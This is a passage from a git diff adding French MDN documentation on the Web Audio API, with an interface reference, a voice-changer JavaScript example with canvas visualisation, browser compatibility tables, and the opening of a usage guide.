+ <li>Connection des sources aux effets, et des effets à la destination</li>
+</ol>
+
+<p><img alt="A simple box diagram with an outer box labeled Audio context, and three inner boxes labeled Sources, Effects and Destination. The three inner boxes have arrow between them pointing from left to right, indicating the flow of audio information." src="https://mdn.mozillademos.org/files/12523/webaudioAPI.svg" style="display: block; height: 143px; margin: 0px auto; width: 643px;"></p>
+
+<p>Le timing est contrôlé avec une grande précision et une latence faible, ce qui permet aux développeurs d'écrire un code qui réagit précisément aux événements et qui est capable de traiter des échantillons précis, même avec un taux d'échantillonnage élevé. Cela permet d'envisager des applications telles que des boîtes à rythme ou des séquenceurs.</p>
+
+<p>La Web Audio API permet également de contrôler la <em>spatialisation</em> du son. En utilisant un système basé sur le modèle <em>émetteur - récepteur, </em>elle permet le contrôle de la balance ainsi que la gestion de l'atténuation du son en fonction de la distance, ou effet doppler, induite par un déplacement de la source sonore (ou de l'auditeur).</p>
+
+<div class="note">
+<p><strong>Note</strong>: Vous pouvez lire d'avantage de détails sur la Web Audio API en vous rendant sur notre article<a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API"> Concepts de base de la Web Audio API</a>.</p>
+</div>
+
+<h2 id="Interface_de_la_Web_Audio_API">Interface de la Web Audio API</h2>
+
+<p>La Web Audio API expose 28 interfaces avec des événements associés, classés selon leur fonction en 9 catégories.</p>
+
+<h3 id="Définition_du_graphe_audio">Définition du graphe audio</h3>
+
+<p>Conteneurs et définitions qui donnent sa forme au graphe audio</p>
+
+<dl>
+ <dt>{{domxref("AudioContext")}}</dt>
+ <dd>Un objet <strong><code>AudioContext</code></strong> désigne un graphe de traitement audio construit à partir de modules reliés entre eux, chacun représenté par un noeud audio ({{domxref("AudioNode")}}). Le contexte audio contrôle la création des noeuds qu'il contient, ainsi que l'exécution du traitement audio, et du décodage. Il est nécessaire de créer un <code>AudioContext</code> avant de faire quoi que ce soit d'autre, puisque tout se passe dans un contexte.</dd>
+ <dt>{{domxref("AudioNode")}}</dt>
+ <dd>Un objet <strong><code>AudioNode</code></strong><strong> </strong>est un module de traitement audio, tel qu'une <em>source audio</em> (c'est-à-dire un élément HTML {{HTMLElement("audio")}} ou {{HTMLElement("video")}}), une <em>destination audio</em>, un <em>module de traitement intermédiaire</em> (par exemple un filtre {{domxref("BiquadFilterNode")}}), ou un contrôle du volume {{domxref("GainNode")}}).</dd>
+ <dt>{{domxref("AudioParam")}}</dt>
+ <dd>Un objet <strong><code>AudioParam</code></strong><strong> </strong>est un paramètre audio, qui est lié à un {{domxref("AudioNode")}}. On peut lui assigner une valeur ou un changement de valeur, que l'on peut programmer à un moment spécifique et/ou selon un motif particulier.</dd>
+ <dt>{{event("ended_(Web_Audio)", "ended")}} (event)</dt>
+ <dd>L'évènement <code>ended</code> est diffusé lorsque la lecture s'arrête en arrivant à la fin d'un media.</dd>
+</dl>
+
+<h3 id="Définition_des_sources_audio">Définition des sources audio</h3>
+
+<dl>
+ <dt>{{domxref("OscillatorNode")}}</dt>
+ <dd>Un objet <strong><code style="font-size: 14px;">OscillatorNode</code></strong><strong> </strong>est un module de traitement audio qui génère la création d'une onde sinusoïdale d'une certaine fréquence.</dd>
+ <dt>{{domxref("AudioBuffer")}}</dt>
+ <dd>Un objet <strong><code>AudioBuffer</code></strong> est un petit morceau de contenu audio monté en mémoire. Il peut être créé à partir d'un fichier audio avec la méthode {{ domxref("AudioContext.decodeAudioData()") }}, ou à partir de données brutes en utilisant {{ domxref("AudioContext.createBuffer()") }}. Une fois décodé sous cette forme, la source audio peut être placée dans un {{ domxref("AudioBufferSourceNode") }}.</dd>
+ <dt>{{domxref("AudioBufferSourceNode")}}</dt>
+ <dd>Un objet <strong><code>AudioBufferSourceNode</code></strong> est une source audio composée de données audio montées en mémoire dans un {{domxref("AudioBuffer")}}. C'est un {{domxref("AudioNode")}} qui se comporte comme une source audio.</dd>
+ <dt>{{domxref("MediaElementAudioSourceNode")}}</dt>
+ <dd>Un objet <code><strong>MediaElementAudio</strong></code><strong><code>SourceNode</code></strong> est une source audio composée d'un élément  HTML5 {{ htmlelement("audio") }} ou {{ htmlelement("video") }}. C'est un {{domxref("AudioNode")}} qui se comporte comme une source audio.</dd>
+ <dt>{{domxref("MediaStreamAudioSourceNode")}}</dt>
+ <dd>Un objet <code><strong>MediaStreamAudio</strong></code><strong><code>SourceNode</code></strong> est une source audio composée d'un <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> {{domxref("MediaStream")}} (tel qu'une webcam ou un microphone). C'est un {{domxref("AudioNode")}} qui se comporte comme une source audio.</dd>
+</dl>
+
+<h3 id="Définition_des_filtres_d'effets_audio">Définition des filtres d'effets audio</h3>
+
+<dl>
+ <dt>{{domxref("BiquadFilterNode")}}</dt>
+ <dd>Un objet <strong><code>BiquadFilterNode</code> </strong>est un simple filtre de bas niveau. Il peut s'agir de différents types de filtres, contrôle du volume ou égaliseurs graphiques. Un <code>BiquadFilterNode</code> a toujours exactement une entrée et une sortie.</dd>
+ <dt>{{domxref("ConvolverNode")}}</dt>
+ <dd>Un objet <code><strong>Convolver</strong></code><strong><code>Node</code></strong><strong> </strong>est un {{domxref("AudioNode")}} qui exécute une circonvolution linéaire sur un AudioBuffer donné, souvent utilisé pour créer un effet de réverbération.</dd>
+ <dt>{{domxref("DelayNode")}}</dt>
+ <dd>Un objet <strong><code>DelayNode</code></strong><strong> </strong>est une ligne à retard numérique, c'est-à-dire un module de traitement automatique qui provoque un délai entre l'arrivée du son en entrée et sa propagation en sortie.</dd>
+ <dt>{{domxref("DynamicsCompressorNode")}}</dt>
+ <dd>Un objet <strong><code>DynamicsCompressorNode</code></strong> permet un effet de compression, qui réduit le volume des parties les plus fortes du signal de façon à éviter les effets de clipping et la distortion qui peuvent se produire lorsque des sons multiples sont diffusés simultanément.</dd>
+ <dt>{{domxref("GainNode")}}</dt>
+ <dd>Un objet <strong><code>GainNode</code></strong><strong> </strong> représente une modification du volume sonore. C'est un module de traitement audio qui provoque l'application d'un <em>gain</em> aux données récupérées en entrée avant leur propagation vers la sortie.</dd>
+ <dt>{{domxref("WaveShaperNode")}}</dt>
+ <dd>Un objet <strong><code>WaveShaperNode</code></strong> représente une distortion non linéaire. C'est un {{domxref("AudioNode")}} qui utilise une courbe pour appliquer au signal une distortion de mise en forme des ondes. En dehors de l'effet de distortion évident, il est souvent utilisé pour donner un caractère plus chaleureux au son. </dd>
+ <dt>{{domxref("PeriodicWave")}}</dt>
+ <dd>Un objet {{domxref("PeriodicWave")}} est utilisé pour définir une forme d'onde périodique qui peut être utilisée pour façonner la sortie d'un {{ domxref("OscillatorNode") }}.</dd>
+</dl>
+
+<h3 id="Définition_des_destinations_audio">Définition des destinations audio</h3>
+
+<p>Une fois que le signal audio a été traité, ces interfaces définissent sa destination.</p>
+
+<dl>
+ <dt>{{domxref("AudioDestinationNode")}}</dt>
+ <dd>Un noeud <strong><code>AudioDestinationNode</code></strong> représente la destination finale d'une source audio source dans un contexte donné — en général les enceintes du matériel.</dd>
+ <dt>{{domxref("MediaStreamAudioDestinationNode")}}</dt>
+ <dd>Un noeud <code><strong>MediaStreamAudio</strong></code><strong><code>DestinationNode</code></strong> représente une destination audio constituée d'un {{domxref("MediaStream")}} <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> à une seule piste <code>AudioMediaStreamTrack</code>; il peut être utilisé de façon similaire à un {{domxref("MediaStream")}} obtenu avec {{ domxref("Navigator.getUserMedia") }}. C'est un {{domxref("AudioNode")}} qui se comporte comme une destination audio.</dd>
+</dl>
+
+<h3 id="Analyse_des_données_et_visualisation">Analyse des données et visualisation</h3>
+
+<dl>
+ <dt>{{domxref("AnalyserNode")}}</dt>
+ <dd>Un objet <strong><code>AnalyserNode</code></strong> fournit en temps réel des informations concernant la fréquence et le temps, afin de les analyser et les visualiser.</dd>
+</dl>
+
+<h3 id="Division_et_fusion_des_pistes_audio">Division et fusion des pistes audio</h3>
+
+<dl>
+ <dt>{{domxref("ChannelSplitterNode")}}</dt>
+ <dd>Un noeud <code><strong>ChannelSplitterNode</strong></code> prend en entrée une source audio et sépare ses différentes pistes en une série de sorties <em>mono</em>.</dd>
+ <dt>{{domxref("ChannelMergerNode")}}</dt>
+ <dd>Un noeud <code><strong>ChannelMergerNode</strong></code> réunit différentes entrées mono en une seule sortie. Chaque entrée devient une des pistes de la sortie unique.</dd>
+</dl>
+
+<h3 id="Spatialisation_audio">Spatialisation audio</h3>
+
+<dl>
+ <dt>{{domxref("AudioListener")}}</dt>
+ <dd>Un objet <strong><code>AudioListener</code></strong><strong> </strong>représente la position et l'orientation de l'unique personne écoutant la scene audio utilisée dans la spatialisation audio.</dd>
+ <dt>{{domxref("PannerNode")}}</dt>
+ <dd>Un noeud <strong><code>PannerNode</code></strong> représente le comportement d'un signal dans l'espace. C'est un module de traitement audio qui décrit sa position avec des coordonnées cartésiennes fondées sur la règle de la main droite; ses mouvements utilisent un vecteur de vélocité et sa directionnalité un cône de direction.</dd>
+</dl>
+
+<h3 id="Traitement_audio_avec_JavaScript">Traitement audio avec JavaScript</h3>
+
+<div class="note">
+<p><strong>Note</strong>: Au jour de la publication de la spécification Web Audio API le 29 août 2014, ces fonctionnalités sont dépréciées, et seront bientôt remplacées par {{ anch("Audio_Workers") }}.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("ScriptProcessorNode")}}</dt>
+ <dd>Un noeud <strong><code>ScriptProcessorNode</code></strong><strong> </strong>permet de générer, traiter ou analyser du son avec JavaScript. C'est un module de traitement audio qui est lié à deux buffers, l'un en entrée, et l'autre en sortie. Un évènement implémentant {{domxref("AudioProcessingEvent")}} est envoyé à l'objet à chaque fois que le buffer d'entrée reçoit de nouvelles données, et le gestionnaire d'évènement prend fin lorsque les nouvelles données ont été communiquées au buffer de sortie. </dd>
+ <dt>{{event("audioprocess")}} (event)</dt>
+ <dd>L'évènement <code>audioprocess</code> est émis lorsque le buffer d'entrée d'un {{domxref("ScriptProcessorNode")}} de la Web Audio API est prêt à être traité.</dd>
+ <dt>{{domxref("AudioProcessingEvent")}}</dt>
+ <dd>L'objet  <code>AudioProcessingEvent </code>est envoyé aux fonctions de callback qui écoutent l'évènement <code>audioprocess.</code></dd>
+</dl>
+
+<h3 id="Traitement_audio_hors_ligne_ou_en_tâche_de_fond">Traitement audio hors ligne ou en tâche de fond</h3>
+
+<p>Il est possible de traiter et exporter un graphe audio très rapidement en tâche de fond — en l'exportant dans un {{domxref("AudioBuffer")}} plutôt que sur les enceintes du matériel — grâce aux objets suivants.</p>
+
+<dl>
+ <dt>{{domxref("OfflineAudioContext")}}</dt>
+ <dd>Un objet <strong><code>OfflineAudioContext</code></strong> est un {{domxref("AudioContext")}} qui représente un graphe de traitement audio construit à partir de noeuds audio. A la différence du <code>AudioContext </code>standard, un <code>OfflineAudioContext</code> n'exporte pas vraiment le son, mais le génère, aussi vite que possible, dans un buffer.</dd>
+ <dt>{{event("complete")}} (event)</dt>
+ <dd>Un évènement <code>complete</code> est émis lorsque le rendu d'un {{domxref("OfflineAudioContext")}} est terminé.</dd>
+ <dt>{{domxref("OfflineAudioCompletionEvent")}}</dt>
+ <dd>The <code>OfflineAudioCompletionEvent</code> est envoyé aux fonctions de callback qui écoutent l'évènement {{event("complete")}} event implements this interface.</dd>
+</dl>
+
+<h3 id="Audio_Workers" name="Audio_Workers">Audio Workers</h3>
+
+<p>Les Audio workers offrent la possibilité de traiter le son directement dans le contexte d'un <a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">web worker</a>. En date du 29 August 2014, ils ne sont encore implémentés par aucun navigateur. Lorsqu'ils seront implémentés, ils remplaceront {{domxref("ScriptProcessorNode")}}, et les autres fonctionnalités mentionnées dans la section <a href="#Audio_processing_via_JavaScript">Traitement audio avec JavaScript</a> ci-avant.</p>
+
+<dl>
+ <dt>{{domxref("AudioWorkerNode")}}</dt>
+ <dd>Un objet AudioWorkerNode représente un {{domxref("AudioNode")}} qui interagit avec le thread d'un worker pour générer, traiter, ou analyse le son directement.</dd>
+ <dt>{{domxref("AudioWorkerGlobalScope")}}</dt>
+ <dd>Un objet <code>AudioWorkerGlobalScope</code> est un objet dérivé d'un objet <code>DedicatedWorkerGlobalScope</code>. Il représente le contexte d'un worker dans lequel un script de traitement audio est lancé; il est conçu pour permettre la génération, le traitement, et l'analyse de données audio directement avec JavaScript dans le thread d'un worker.</dd>
+ <dt>{{domxref("AudioProcessEvent")}}</dt>
+ <dd>UN objet <code>Event</code> est transmis aux objets {{domxref("AudioWorkerGlobalScope")}} pour effectuer un traitement audio.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Objets obsolètes</h2>
+
+<p>Les objets suivants étaient définis dans les versions précédentes de la spécification, mais sont maintenant obsolètes et ont été remplacés.</p>
+
+<dl>
+ <dt>{{domxref("JavaScriptNode")}}</dt>
+ <dd>Utilisé pour le traitement du son directement en Javascript. Cet objet est obsolète, et a été remplacé par {{domxref("ScriptProcessorNode")}}.</dd>
+ <dt>{{domxref("WaveTableNode")}}</dt>
+ <dd>Utilisé pour définir une forme d'onde périodique. Cet objet est obsolète, et a été remplacé par {{domxref("PeriodicWave")}}.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<p>Cet exemple montre l'utilisation d'un grand nombre de fonctions Web Audio. La démo est disponible en ligne sur <a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-o-matic</a> (voir aussi le <a href="https://github.com/mdn/voice-change-o-matic"> code source complet sur Github</a>) —c'est une démo expérimentale d'application pour modifier la voix; baissez le son de vos enceintes pour l'utiliser, au moins au début !</p>
+
+<p>Les lignes qui concernent la Web Audio API sont surlignées; si vous voulez en savoir davantage sur les différentes méthodes, consultez la documentation.</p>
+
+<pre class="brush: js; highlight:[1,2,9,10,11,12,36,37,38,39,40,41,62,63,72,114,115,121,123,124,125,147,151]">var contexteAudio = new (window.AudioContext || window.webkitAudioContext)(); // définition du contexte audio
+// les navigateurs avec un moteur Webkit/blink demandent un préfixe
+
+var voixSelectionnee = document.getElementById("voice"); // case à cocher pour la sélection d'effets de voix
+var visualisationSelectionnee = document.getElementById("visual"); // case à cocher pour la sélection d'options de visualisation audio
+var silence = document.querySelector('.mute'); // bouton pour couper le son
+var renduVisuel; // requestAnimationFrame
+
+var analyseur = contexteAudio.createAnalyser();
+var distorsion = contexteAudio.createWaveShaper();
+var gainVolume = contexteAudio.createGain();
+var filtreAccordable = contexteAudio.createBiquadFilter();
+
+function creerCourbeDistorsion(taille) { // fonction qui crée une forme de courbe qui sera utilisée par le générateur de l'onde de distorsion
+  var k = typeof taille === 'number' ? taille : 50,
+    nombre_echantillons = 44100,
+    courbe = new Float32Array(nombre_echantillons),
+    angle = Math.PI / 180,
+    i = 0,
+    x;
+  for ( ; i &lt; nombre_echantillons; ++i ) {
+    x = i * 2 / nombre_echantillons - 1;
+    courbe[i] = ( 3 + k ) * x * 20 * angle / ( Math.PI + k * Math.abs(x) );
+  }
+  return courbe;
+};
+
+navigator.getUserMedia (
+  // contraintes - uniquement audio dans cet exemple
+  {
+    audio: true
+  },
+
+  // callback de succès
+  function(flux) {
+    source = contexteAudio.createMediaStreamSource(flux);
+    source.connect(analyseur);
+    analyseur.connect(distorsion);
+    distorsion.connect(filtreAccordable);
+    filtreAccordable.connect(gainVolume);
+    gainVolume.connect(contexteAudio.destination); // connecte les différents noeuds de graphes audio entre eux
+
+    genererVisualisation(flux);
+    voiceChange();
+
+  },
+
+  // callback d'erreur
+  function(err) {
+    console.log("L'erreur GUM suivante a eu lieu : " + err);
+  }
+);
+
+function genererVisualisation(flux) {
+  const LARGEUR = canvas.width;
+  const HAUTEUR = canvas.height;
+
+  var parametreVisualisation = visualisationSelectionnee.value;
+  console.log(parametreVisualisation);
+
+  if(parametreVisualisation == "sinewave") {
+    analyseur.fftSize = 2048;
+    var tailleBuffer = analyseur.frequencyBinCount; // la moitié de la valeur FFT (Transformation de Fourier rapide)
+    var tableauDonnees = new Uint8Array(tailleBuffer); // crée un tableau pour stocker les données
+
+    canvasCtx.clearRect(0, 0, LARGEUR, HAUTEUR);
+
+    function draw() {
+
+      renduVisuel = requestAnimationFrame(draw);
+
+      analyseur.getByteTimeDomainData(tableauDonnees); // récupère les données de l'onde de forme et les met dans le tableau créé
+
+      canvasCtx.fillStyle = 'rgb(200, 200, 200)'; // dessine une onde dans le canvas
+      canvasCtx.fillRect(0, 0, LARGEUR, HAUTEUR);
+
+      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();
+
+      var sliceWidth = LARGEUR * 1.0 / tailleBuffer;
+      var x = 0;
+
+      for(var i = 0; i &lt; tailleBuffer; i++) {
+
+        var v = tableauDonnees[i] / 128.0;
+        var y = v * HAUTEUR/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }
+
+      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };
+
+    draw();
+
+  } else if(parametreVisualisation == "off") {
+    canvasCtx.clearRect(0, 0, LARGEUR, HAUTEUR);
+    canvasCtx.fillStyle = "red";
+    canvasCtx.fillRect(0, 0, LARGEUR, HAUTEUR);
+  }
+
+}
+
+function modifierVoix() {
+  distorsion.curve = new Float32Array;
+  filtreAccordable.gain.value = 0; // reset les effets à chaque fois que la fonction modifierVoix est appelée
+
+  var choixVoix = voixSelectionnee.value;
+  console.log(choixVoix);
+
+  if(choixVoix == "distortion") {
+    distorsion.curve = creerCourbeDistorsion(400); // applique la distorsion au son en utilisant le noeud d'onde de forme
+  } else if(choixVoix == "biquad") {
+    filtreAccordable.type = "lowshelf";
+    filtreAccordable.frequency.value = 1000;
+    filtreAccordable.gain.value = 25; // applique le filtre lowshelf aux sons qui utilisent le filtre accordable
+  } else if(choixVoix == "off") {
+    console.log("Choix de la voix désactivé"); // ne fait rien, quand l'option off est sélectionnée
+  }
+
+}
+
+// écouteurs d'évènements pour les changements de visualisation et de voix
+
+visualisationSelectionnee.onchange = function() {
+  window.cancelAnimationFrame(renduVisuel);
+  genererVisualisation(flux);
+}
+
+voixSelectionnee.onchange = function() {
+  modifierVoix();
+}
+
+silence.onclick = muterVoix;
+
+function muterVoix() { // allumer / éteindre le son
+  if(silence.id == "") {
+    gainVolume.gain.value = 0; // gain à 0 pour éteindre le son
+    silence.id = "activated";
+    silence.innerHTML = "Unmute";
+  } else {
+    gainVolume.gain.value = 1; // gain à 1 pour allumer le son
+    silence.id = "";
+    silence.innerHTML = "Mute";
+  }
+}
+</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>14 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>23</td>
+   <td>{{CompatNo}}</td>
+   <td>15 {{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>28 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>25</td>
+   <td>1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizations with Web Audio API</a></li>
+ <li><a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic example</a></li>
+ <li><a href="http://mdn.github.io/violent-theremin/">Violent Theremin example</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialisation_basics">Web audio spatialisation basics</a></li>
+ <li><a href="http://www.html5rocks.com/tutorials/webaudio/positional_audio/" title="http://www.html5rocks.com/tutorials/webaudio/positional_audio/">Mixing Positional Audio and WebGL</a></li>
+ <li><a href="http://www.html5rocks.com/tutorials/webaudio/games/" title="http://www.html5rocks.com/tutorials/webaudio/games/">Developing Game Audio with the Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext" title="/en-US/docs/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext">Porting webkitAudioContext code to standards based AudioContext</a></li>
+ <li><a href="https://github.com/bit101/tones">Tones</a>: a simple library for playing specific tones/notes using the Web Audio API.</li>
+ <li><a href="https://github.com/goldfire/howler.js/">howler.js</a>: a JS audio library that defaults to <a href="https://dvcs.w3.org/hg/audio/raw-file/tip/webaudio/specification.html">Web Audio API</a> and falls back to <a href="http://www.whatwg.org/specs/web-apps/current-work/#the-audio-element">HTML5 Audio</a>, as well as providing other useful features.</li>
+ <li><a href="https://github.com/mattlima/mooog">Mooog</a>: jQuery-style chaining of AudioNodes, mixer-style sends/returns, and more.</li>
+</ul>
+
+<section id="Quick_Links">
+<h3 id="Quicklinks">Quicklinks</h3>
+
+<ol>
+ <li data-default-state="open"><strong><a href="#">Guides</a></strong>
+
+  <ol>
+   <li><a href="/fr/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API">Les concepts de base de la Web Audio API</a></li>
+   <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+   <li><a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizations with Web Audio API</a></li>
+   <li><a href="/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialisation_basics">Web audio spatialisation basics</a></li>
+   <li><a href="/en-US/docs/Web/API/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext" title="/en-US/docs/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext">Porting webkitAudioContext code to standards based AudioContext</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><strong><a href="#">Exemples</a></strong>
+  <ol>
+   <li><a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a></li>
+   <li><a href="http://mdn.github.io/violent-theremin/">Violent Theremin</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><strong><a href="#">Objets</a></strong>
+  <ol>
+   <li>{{domxref("AnalyserNode")}}</li>
+   <li>{{domxref("AudioBuffer")}}</li>
+   <li>{{domxref("AudioBufferSourceNode")}}</li>
+   <li>{{domxref("AudioContext")}}</li>
+   <li>{{domxref("AudioDestinationNode")}}</li>
+   <li>{{domxref("AudioListener")}}</li>
+   <li>{{domxref("AudioNode")}}</li>
+   <li>{{domxref("AudioParam")}}</li>
+   <li>{{event("audioprocess")}} (event)</li>
+   <li>{{domxref("AudioProcessingEvent")}}</li>
+   <li>{{domxref("BiquadFilterNode")}}</li>
+   <li>{{domxref("ChannelMergerNode")}}</li>
+   <li>{{domxref("ChannelSplitterNode")}}</li>
+   <li>{{event("complete")}} (event)</li>
+   <li>{{domxref("ConvolverNode")}}</li>
+   <li>{{domxref("DelayNode")}}</li>
+   <li>{{domxref("DynamicsCompressorNode")}}</li>
+   <li>{{event("ended_(Web_Audio)", "ended")}} (event)</li>
+   <li>{{domxref("GainNode")}}</li>
+   <li>{{domxref("MediaElementAudioSourceNode")}}</li>
+   <li>{{domxref("MediaStreamAudioDestinationNode")}}</li>
+   <li>{{domxref("MediaStreamAudioSourceNode")}}</li>
+   <li>{{domxref("OfflineAudioCompletionEvent")}}</li>
+   <li>{{domxref("OfflineAudioContext")}}</li>
+   <li>{{domxref("OscillatorNode")}}</li>
+   <li>{{domxref("PannerNode")}}</li>
+   <li>{{domxref("PeriodicWave")}}</li>
+   <li>{{domxref("ScriptProcessorNode")}}</li>
+   <li>{{domxref("WaveShaperNode")}}</li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/fr/web/api/web_audio_api/using_web_audio_api/index.html b/files/fr/web/api/web_audio_api/using_web_audio_api/index.html
new file mode 100644
index 0000000000..f32d382574
--- /dev/null
+++ b/files/fr/web/api/web_audio_api/using_web_audio_api/index.html
@@ -0,0 +1,280 @@
+---
+title: Utiliser la Web Audio API
+slug: Web/API/Web_Audio_API/Using_Web_Audio_API
+translation_of: Web/API/Web_Audio_API/Using_Web_Audio_API
+---
+<div class="summary">
+<p><span class="seoSummary">La <a href="/en-US/docs/Web_Audio_API">Web Audio API</a> offre un méchanisme à la fois simple et puissant pour implémenter et manipuler le contenu audio dans une application web. Elle permet de manipuler mixages audio, effets, balance, etc. Cet article donne les bases pour l'utiliser, à travers quelques exemples simples..</span></p>
+</div>
+
+<div>
+<p>La Web Audio API ne vient pas remplacer l'élément <a href="/en-US/docs/Web/HTML/Element/audio">&lt;audio&gt;</a>, mais plutôt le compléter, de même que l'API Canvas 2D coexiste avec l'élément <a href="/en-US/docs/Web/HTML/Element/Img">&lt;video&gt;</a>. Si vous avez seulement besoin de contrôler la lecture d'un fichier audio, &lt;audio&gt; est probablement une meilleure solution, plus rapide. Si vous voulez procéder à un traitement audio plus complexe et à la lecture d'une source, la Web Audio API offre davantage de possibilités en termes de puissance et de contrôle.</p>
+
+<p>L'une des particularités de la Web Audio API est qu'elle n'a pas de limites au niveau de la programmation du son. Par exemple, le nombre de sons que l'on peut appeler en même temps n'est pas plafonnée. Certains processeurs sont potentiellement capables de jouer plus d'un millier de sons simultanément sans saccades.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Afin d'expliquer l'utilisation de la Web Audio API, nous avons créé un certain nombre d'exemples qui seront étoffés au fur et à mesure. N'hésitez pas à en ajouter d'autres et à suggérer des améliorations !</p>
+
+<p>Notre premier exemple est <a href="http://github.com/mdn/voice-change-o-matic">Voice-change-O-matic</a>, une application web de déformation de la voix, qui permet de choisir différents effets et modes de visualisation. Cette application est rudimentaire, mais elle permet de montrer l'utilisation de plusieurs fonctionnalités de la Web Audio API combinées ensemble  (<a href="http://mdn.github.io/voice-change-o-matic/">run the Voice-change-O-matic live</a>).</p>
+
+<p><img alt="A UI with a sound wave being shown, and options for choosing voice effects and visualizations." src="https://mdn.mozillademos.org/files/7921/voice-change-o-matic.png" style="display: block; height: 500px; margin: 0px auto; width: 640px;"></p>
+
+<p>Un autre exemple pour illustrer la Web Audio API est le <a href="http://mdn.github.io/violent-theremin/">Violent Theremin</a>, une application simple qui permet de changer le pitch et le volume d'un son en fonction du déplacement de la souris. Elle génère également des animations psychédéliques (<a href="https://github.com/mdn/violent-theremin">see Violent Theremin source code</a>).</p>
+
+<p><img alt="A page full of rainbow colours, with two buttons labeled Clear screen and mute. " src="https://mdn.mozillademos.org/files/7919/violent-theremin.png" style="display: block; height: 458px; margin: 0px auto; width: 640px;"></p>
+
+<h2 id="Concepts_de_base">Concepts de base</h2>
+
+<div class="note">
+<p><strong>Note</strong>: la plupart des extraits de code dans cette section viennent de l'exemple <a href="https://github.com/mdn/violent-theremin">Violent Theremin</a>.</p>
+</div>
+
+<p>La Web Audio API impliqe de réaliser les opérations de traitement audio dans un <strong>contexte audio</strong>, et elle a été conçue pour permettre le <strong>routage modulaire</strong>. Les opérations de traitement de base sont réalisées par des <strong> noeuds audio</strong>, qui sont reliés entre eux pour former un<strong> graphe de routage audio</strong>. Plusieurs sources — avec différentes configuration de canaux — peuvent cohabiter dans un seul contexte. Ce design modulaire offre la flexibilité nécessaire pour créer des fonctions complexes avec des effets dynamiques.</p>
+
+<p>Les noeuds audio sont reliés au niveau de leurs entrées et sorties. Ils forment une chaîne qui commence avec une ou plusieurs sources, traverse un ou plusieurs noeuds de traitement, et se termine par une destination (bien qu'il ne soit pas néessaire d'avoir une destination si l'on souhaite simplement visualiser des données audio). Un scénario simple, représentatif de la Web Audio API, pourrait ressembler à ceci :</p>
+
+<ol>
+ <li>Création d'un contexte audio</li>
+ <li>Dans ce contexte, création des sources — telles que <code>&lt;audio&gt;</code>, oscillateur, flux</li>
+ <li>Création des noeuds d'effets, tels que réverb, filtres biquad, balance,  compresseur</li>
+ <li>Choix final de la sortie audio, par exemple les enceintes du système </li>
+ <li>Connection des sources aux effets, et des effets à la sortie.</li>
+</ol>
+
+<h3 id="Création_d'un_contexte_audio">Création d'un contexte audio</h3>
+
